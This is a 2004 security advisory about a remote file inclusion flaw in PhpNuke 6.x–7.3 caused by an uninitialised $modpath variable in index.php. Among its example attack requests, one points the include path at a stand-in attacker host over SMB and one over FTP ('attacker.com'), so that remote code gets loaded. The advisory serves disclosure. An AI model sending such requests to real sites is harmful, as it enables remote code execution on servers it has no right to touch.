[waraxe-2004-SA#029 - Possible remote file inclusion in PhpNuke 6.x - 7.3]

[Janek Vind <come2waraxe () yahoo com>]

{================================================================================}
{                              [waraxe-2004-SA#029]   
                          }
{================================================================================}
{                                                     
                          }
{             [ Possible remote file inclusion in
PhpNuke 6.x - 7.3 ]            }
{                                                     
                          }
{================================================================================}
                                                      
                                                      
                  
Author: Janek Vind "waraxe"
Date: 17. May 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=29


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is a popular freeware content management
system, written in php by
Francisco Burzi. This CMS (Content Management System)
is used on many thousands
websites, because it's freeware, easy to install and
has broad set of features.

Homepage: http://phpnuke.org


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

> From what should i start? Well, let's begin from
looking at source code of the
index.php file from PhpNuke package. 

> From original code:

----------------------------------------------------------------------
...

if
(file_exists("themes/$ThemeSel/modules/$name/$mod_file.php"))
        {
                $modpath = "themes/$ThemeSel/";
        }
        $modpath .= "modules/$name/$mod_file.php";
        if (file_exists($modpath))
        {
                include($modpath);
        }
        else
        {

...

----------------------------------------------------------------------

What we can see, is that IF selected theme has not
customized module file, then path
to default module file will be concatenated to
variable $modpath:

$modpath .= "modules/$name/$mod_file.php";

Hmm, it seems, that $modpath is not initialized at all
on those conditions...
Let's test it in real world:

http://localhost/nuke73/index.php?modpath=foobar

And what we can see:

"There is a problem right now on the Homepage. Please
check back later."

Yes, yes, yes, it works! But now comes bad news for
all potential attackers (and good
news for website admins): you see the code "if
(file_exists($modpath))"?
This checking routine will fail our attempt to remote
file inclusion on most of the
servers. Why "most", not "all"? For answer let's look
at php manual (RTFM!!!):

> From php manual:

----------------------------------------------------------------------
...

file_exists

(PHP 3, PHP 4 )
file_exists -- Checks whether a file or directory
exists 

Description
bool file_exists ( string filename)

Returns TRUE if the file or directory specified by
filename exists; FALSE otherwise. 
On windows, use //computername/share/filename or
\\computername\share\filename to 
check files on network shares.

Tip: As of PHP 5.0.0 this function can also be used
with some url wrappers.
Refer to Appendix I for a listing of which wrappers
support stat() family of functionality.

...
-----------------------------------------------------------------------

And if we look for information about "some url
wrappers", then we can see, that
in case of php version 5.x remote inclusion through
ftp protocol is possible, because
"file_exists()" function will return "true", when
"$modpath" is properly set.

So by my opinion there is 2 cases, when remote file
inclusion is possible:


1. If victim server is running Windows operating
system and there are no firewall 
restrictions against remote SMB connections. Then
potential attacker can exploit
remote file inclusion with http request similar like
this:

http://localhost/nuke73/index.php?modpath=//attacker_ip/share_name/


2. If victim server is running php version 5.x, then
attack request can be something like this:

http://localhost/nuke73/index.php?modpath=ftp://attacker.com/directory/


And because windows servers with phpnuke are rare
fenomena, and php version 5.x
is not yet widespread, then right now this remote file
inclusion case is not so
critical and will not harm many servers, but it's
needed to be fixed ASAP.


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Wanna know, how to patch this security hole? Then you
are welcome to visit
forum on my homepage at  http://www.waraxe.us/forum/
See ya there!


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna and to all bugtraq readers in
Estonia! Tervitused!
Special greets to http://www.gamecheaters.us staff!



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    come2waraxe () yahoo com
    Janek Vind "waraxe"

    Homepage: http://www.waraxe.us/

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